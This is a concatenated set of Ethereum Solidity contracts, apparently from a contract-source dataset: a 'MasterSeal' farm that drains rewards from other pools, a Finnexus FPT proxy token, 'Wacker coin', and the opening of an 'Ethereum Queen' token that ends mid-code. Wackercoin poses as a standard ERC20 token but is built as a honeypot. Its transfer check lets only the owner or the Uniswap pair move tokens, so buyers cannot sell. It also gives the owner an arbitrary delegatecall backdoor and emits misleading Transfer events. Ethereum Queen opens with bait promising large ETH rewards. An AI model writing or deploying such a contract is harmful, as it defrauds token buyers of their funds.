emit Burned(msg.sender, _amount);
}
}
pragma solidity 0.6.12;
contract MasterSeal is Ownable, Timelock {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SealAdapter for Victim;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
struct PoolInfo {
Victim victim;
uint256 victimPoolId;
uint256 rewardPerBlock;
uint256 lastRewardBlock;
uint256 accSealPerShare;
uint256 rewardDrainModifier;
uint256 wethDrainModifier;
}
CZToken public seal;
IERC20 weth;
IUniswapV2Pair sealWethPair;
address public drainAddress;
address public poolRewardUpdater;
address public devAddress;
uint256 public constant DEV_FEE = 8;
uint256 public constant REWARD_START_BLOCK = 11008888; // Wed Oct 07 2020 13:28:00 UTC
uint256 poolRewardLimiter;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
modifier onlyDev() {
require(devAddress == _msgSender(), "not dev");
_;
}
modifier onlyRewardUpdater() {
require(poolRewardUpdater == _msgSender(), "not reward updater");
_;
}
constructor(
CZToken _seal,
address _drainAddress
) public Timelock(msg.sender, 24 hours) {
poolRewardLimiter = 300 ether;
seal = _seal;
drainAddress = _drainAddress;
devAddress = msg.sender;
weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Factory uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
sealWethPair = IUniswapV2Pair(uniswapFactory.getPair(address(weth), address(seal)));
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(Victim _victim, uint256 _victimPoolId, uint256 _rewardPerBlock, uint256 _rewardDrainModifier, uint256 _wethDrainModifier) public onlyOwner {
require(_rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high");
poolInfo.push(PoolInfo({
victim: _victim,
victimPoolId: _victimPoolId,
rewardPerBlock: _rewardPerBlock,
rewardDrainModifier: _rewardDrainModifier,
wethDrainModifier: _wethDrainModifier,
lastRewardBlock: block.number < REWARD_START_BLOCK ? REWARD_START_BLOCK : block.number,
accSealPerShare: 0
}));
}
function updatePoolRewardLimiter(uint256 _poolRewardLimiter) public onlyOwner {
poolRewardLimiter = _poolRewardLimiter;
}
function updateRewardPerBlock(uint256 _pid, uint256 _rewardPerBlock) public onlyRewardUpdater {
require(_rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high");
updatePool(_pid);
poolInfo[_pid].rewardPerBlock = _rewardPerBlock;
}
function updateRewardPerBlockMassive(uint256[] memory pids, uint256[] memory rewards) public onlyRewardUpdater {
require(pids.length == rewards.length, "-__-");
for (uint i = 0; i < pids.length; i++) {
uint256 pid = pids[i];
uint256 rewardPerBlock = rewards[i];
require(rewardPerBlock <= poolRewardLimiter, "Pool reward per block is too high");
updatePool(pid);
poolInfo[pid].rewardPerBlock = rewardPerBlock;
}
}
function updateVictimInfo(uint256 _pid, address _victim, uint256 _victimPoolId) public onlyOwner {
poolInfo[_pid].victim = Victim(_victim);
poolInfo[_pid].victimPoolId = _victimPoolId;
}
function updatePoolDrain(uint256 _pid, uint256 _rewardDrainModifier, uint256 _wethDrainModifier) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
pool.rewardDrainModifier = _rewardDrainModifier;
pool.wethDrainModifier = _wethDrainModifier;
}
function updateDevAddress(address _devAddress) public onlyDev {
devAddress = _devAddress;
}
function updateDrainAddress(address _drainAddress) public onlyOwner {
drainAddress = _drainAddress;
}
function updateRewardUpdaterAddress(address _poolRewardUpdater) public onlyOwner {
poolRewardUpdater = _poolRewardUpdater;
}
function pendingSeal(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSealPerShare = pool.accSealPerShare;
uint256 lpSupply = _pid == 0 ? sealWethPair.balanceOf(address(this)) : pool.victim.lockedAmount(pool.victimPoolId);
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 blocksToReward = block.number.sub(pool.lastRewardBlock);
uint256 sealReward = blocksToReward.mul(pool.rewardPerBlock);
accSealPerShare = accSealPerShare.add(sealReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSealPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = _pid == 0 ? sealWethPair.balanceOf(address(this)) : pool.victim.lockedAmount(pool.victimPoolId);
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 blocksToReward = block.number.sub(pool.lastRewardBlock);
uint256 sealReward = blocksToReward.mul(pool.rewardPerBlock);
seal.mint(devAddress, sealReward.mul(DEV_FEE).div(100));
seal.mint(address(this), sealReward);
pool.accSealPerShare = pool.accSealPerShare.add(sealReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSealPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeSealTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
if(_pid == 0) {
IERC20(address(sealWethPair)).safeTransferFrom(address(msg.sender), address(this), _amount);
} else {
pool.victim.lockableToken(pool.victimPoolId).safeTransferFrom(address(msg.sender), address(this), _amount);
pool.victim.deposit(pool.victimPoolId, _amount);
}
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSealPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSealPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeSealTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
if(_pid == 0) {
uint256 burn = _amount.mul(20).div(100);
uint transfer = _amount.sub(burn);
IERC20(address(sealWethPair)).safeTransfer(address(0x0000000000000000000000000000000000000000), burn);
IERC20(address(sealWethPair)).safeTransfer(address(msg.sender), transfer);
} else {
pool.victim.withdraw(pool.victimPoolId, _amount);
pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), _amount);
}
}
user.rewardDebt = user.amount.mul(pool.accSealPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
if(_pid == 0) {
IERC20(address(sealWethPair)).safeTransfer(address(msg.sender), user.amount);
} else {
pool.victim.withdraw(pool.victimPoolId, user.amount);
pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), user.amount);
}
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function safeSealTransfer(address _to, uint256 _amount) internal {
uint256 balance = seal.balanceOf(address(this));
if (_amount > balance) {
seal.transfer(_to, balance);
} else {
seal.transfer(_to, _amount);
}
}
function drain(uint256 _pid) public {
require(_pid != 0, "Can't drain from myself");
PoolInfo storage pool = poolInfo[_pid];
Victim victim = pool.victim;
uint256 victimPoolId = pool.victimPoolId;
uint256 rewardDrainModifier = pool.rewardDrainModifier;
victim.claimReward(victimPoolId);
IERC20 rewardToken = victim.rewardToken();
uint256 claimedReward = rewardToken.balanceOf(address(this));
uint256 rewardDrainAmount = claimedReward.mul(rewardDrainModifier).div(1000);
if(rewardDrainAmount > 0) {
rewardToken.transfer(drainAddress, rewardDrainAmount);
claimedReward = claimedReward.sub(rewardDrainAmount);
}
uint256 sellableAmount = victim.sellableRewardAmount();
if(sellableAmount < claimedReward) { // victim is drained empty
claimedReward = sellableAmount;
}
if(claimedReward == 0) {
return;
}
uint256 wethDrainModifier = pool.wethDrainModifier;
uint256 wethReward = victim.sellRewardForWeth(claimedReward, address(this));
uint256 wethDrainAmount = wethReward.mul(wethDrainModifier).div(1000);
if(wethDrainAmount > 0) {
weth.transfer(drainAddress, wethDrainAmount);
wethReward = wethReward.sub(wethDrainAmount);
}
address token0 = sealWethPair.token0();
(uint reserve0, uint reserve1,) = sealWethPair.getReserves();
(uint reserveInput, uint reserveOutput) = address(weth) == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
uint amountOutput = UniswapV2Library.getAmountOut(wethReward, reserveInput, reserveOutput);
(uint amount0Out, uint amount1Out) = address(weth) == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
weth.transfer(address(sealWethPair), wethReward);
sealWethPair.swap(amount0Out, amount1Out, address(this), new bytes(0));
seal.burn(amountOutput);
}
}
|
DC1
|
// File: contracts\modules\Ownable.sol
pragma solidity =0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\modules\Managerable.sol
pragma solidity =0.5.16;
contract Managerable is Ownable {
address private _managerAddress;
/**
* @dev modifier, Only manager can be granted exclusive access to specific functions.
*
*/
modifier onlyManager() {
require(_managerAddress == msg.sender,"Managerable: caller is not the Manager");
_;
}
/**
* @dev set manager by owner.
*
*/
function setManager(address managerAddress)
public
onlyOwner
{
_managerAddress = managerAddress;
}
/**
* @dev get manager address.
*
*/
function getManager()public view returns (address) {
return _managerAddress;
}
}
// File: contracts\FNXMinePool\IFNXMinePool.sol
pragma solidity =0.5.16;
interface IFNXMinePool {
function transferMinerCoin(address account,address recieptor,uint256 amount)external;
function mintMinerCoin(address account,uint256 amount) external;
function burnMinerCoin(address account,uint256 amount) external;
function addMinerBalance(address account,uint256 amount) external;
}
contract ImportFNXMinePool is Ownable{
IFNXMinePool internal _FnxMinePool;
function getFNXMinePoolAddress() public view returns(address){
return address(_FnxMinePool);
}
function setFNXMinePoolAddress(address fnxMinePool)public onlyOwner{
_FnxMinePool = IFNXMinePool(fnxMinePool);
}
}
// File: contracts\ERC20\Erc20Data.sol
pragma solidity =0.5.16;
contract Erc20Data is Ownable{
string public name;
string public symbol;
uint8 public decimals = 18;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\modules\timeLimitation.sol
pragma solidity =0.5.16;
contract timeLimitation is Ownable {
/**
* @dev FPT has burn time limit. When user's balance is moved in som coins, he will wait `timeLimited` to burn FPT.
* latestTransferIn is user's latest time when his balance is moved in.
*/
mapping(uint256=>uint256) internal itemTimeMap;
uint256 internal limitation = 1 hours;
/**
* @dev set time limitation, only owner can invoke.
* @param _limitation new time limitation.
*/
function setTimeLimitation(uint256 _limitation) public onlyOwner {
limitation = _limitation;
}
function setItemTimeLimitation(uint256 item) internal{
itemTimeMap[item] = now;
}
function getTimeLimitation() public view returns (uint256){
return limitation;
}
/**
* @dev Retrieve user's start time for burning.
* @param item item key.
*/
function getItemTimeLimitation(uint256 item) public view returns (uint256){
return itemTimeMap[item]+limitation;
}
modifier OutLimitation(uint256 item) {
require(itemTimeMap[item]+limitation<now,"Time limitation is not expired!");
_;
}
}
// File: contracts\FPTCoin\FPTData.sol
pragma solidity =0.5.16;
contract FPTData is Erc20Data,ImportFNXMinePool,Managerable,timeLimitation{
/**
* @dev lock mechanism is used when user redeem collateral and left collateral is insufficient.
* _totalLockedWorth stores total locked worth, priced in USD.
* lockedBalances stores user's locked FPTCoin.
* lockedTotalWorth stores user's locked worth, priced in USD. For locked FPTCoin's net worth is constant when It was locked.
*/
uint256 internal _totalLockedWorth;
mapping (address => uint256) internal lockedBalances;
mapping (address => uint256) internal lockedTotalWorth;
/**
* @dev Emitted when `owner` locked `amount` FPT, which net worth is `worth` in USD.
*/
event AddLocked(address indexed owner, uint256 amount,uint256 worth);
/**
* @dev Emitted when `owner` burned locked `amount` FPT, which net worth is `worth` in USD.
*/
event BurnLocked(address indexed owner, uint256 amount,uint256 worth);
}
// File: contracts\Proxy\baseProxy.sol
pragma solidity =0.5.16;
/**
* @title baseProxy Contract
*/
contract baseProxy is Ownable {
address public implementation;
constructor(address implementation_) public {
// Creator of the contract is admin during initialization
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()"));
require(success);
}
function getImplementation()public view returns(address){
return implementation;
}
function setImplementation(address implementation_)public onlyOwner{
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()"));
require(success);
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
(bool success, bytes memory returnData) = implementation.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() internal view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() internal returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// File: contracts\ERC20\Erc20BaseProxy.sol
pragma solidity =0.5.16;
/**
* @title Erc20Delegator Contract
*/
contract Erc20BaseProxy is baseProxy{
constructor(address implementation_) baseProxy(implementation_) public {
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* dst The address of the destination account
* amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function totalSupply() external view returns (uint256){
delegateToViewAndReturn();
}
function transfer(address /*dst*/, uint /*amount*/) external returns (bool) {
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
*/
function transferFrom(address /*src*/, address /*dst*/, uint256 /*amount*/) external returns (bool) {
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* @return Whether or not the approval succeeded
*/
function approve(address /*spender*/, uint256 /*amount*/) external returns (bool) {
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* owner The address of the account which owns the tokens to be spent
* spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address /*owner*/, address /*spender*/) external view returns (uint) {
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address /*owner*/) external view returns (uint) {
delegateToViewAndReturn();
}
}
// File: contracts\FPTCoin\FPTProxy.sol
pragma solidity =0.5.16;
/**
* @title FPTCoin is finnexus collateral Pool token, implement ERC20 interface.
* @dev ERC20 token. Its inside value is collatral pool net worth.
*
*/
contract FPTProxy is FPTData,Erc20BaseProxy {
constructor (address implementation_,address minePoolAddr,string memory tokenName) Erc20BaseProxy(implementation_) public{
_FnxMinePool = IFNXMinePool(minePoolAddr);
name = tokenName;
}
/**
* @dev Retrieve user's start time for burning.
* user user's account.
*/
function getUserBurnTimeLimite(address /*user*/) public view returns (uint256){
delegateToViewAndReturn();
}
/**
* @dev Retrieve total locked worth.
*/
function getTotalLockedWorth() public view returns (uint256) {
delegateToViewAndReturn();
}
/**
* @dev Retrieve user's locked balance.
* account user's account.
*/
function lockedBalanceOf(address /*account*/) public view returns (uint256) {
delegateToViewAndReturn();
}
/**
* @dev Retrieve user's locked net worth.
* account user's account.
*/
function lockedWorthOf(address /*account*/) public view returns (uint256) {
delegateToViewAndReturn();
}
/**
* @dev Retrieve user's locked balance and locked net worth.
* account user's account.
*/
function getLockedBalance(address /*account*/) public view returns (uint256,uint256) {
delegateToViewAndReturn();
}
/**
* @dev Interface to manager FNX mine pool contract, add miner balance when user has bought some options.
* account user's account.
* amount user's pay for buying options, priced in USD.
*/
function addMinerBalance(address /*account*/,uint256 /*amount*/) public{
delegateAndReturn();
}
/**
* @dev Move user's FPT to locked balance, when user redeem collateral.
* account user's account.
* amount amount of locked FPT.
* lockedWorth net worth of locked FPT.
*/
function addlockBalance(address /*account*/, uint256 /*amount*/,uint256 /*lockedWorth*/)public {
delegateAndReturn();
}
/**
* @dev burn user's FPT when user redeem FPTCoin.
* account user's account.
* amount amount of FPT.
*/
function burn(address /*account*/, uint256 /*amount*/) public {
delegateAndReturn();
}
/**
* @dev mint user's FPT when user add collateral.
* account user's account.
* amount amount of FPT.
*/
function mint(address /*account*/, uint256 /*amount*/) public {
delegateAndReturn();
}
/**
* @dev An interface of redeem locked FPT, when user redeem collateral, only manager contract can invoke.
* account user's account.
* tokenAmount amount of FPT.
* leftCollateral left available collateral in collateral pool, priced in USD.
*/
function redeemLockedCollateral(address /*account*/,uint256 /*tokenAmount*/,uint256 /*leftCollateral*/)
public returns (uint256,uint256){
delegateAndReturn();
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Wacker coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Wackercoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
* Ethereum Queen
* We are just a token game with high bonuses, up to 10ETH rewards
* If you can't grab a higher reward, it is better to trade a small amount, you may get lucky rewards.
*/
/**
* Lucky reward 5 people, 1ETH per person
* The top 10 will be allocated 25 ETH rewards according to the proportion of holdings.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
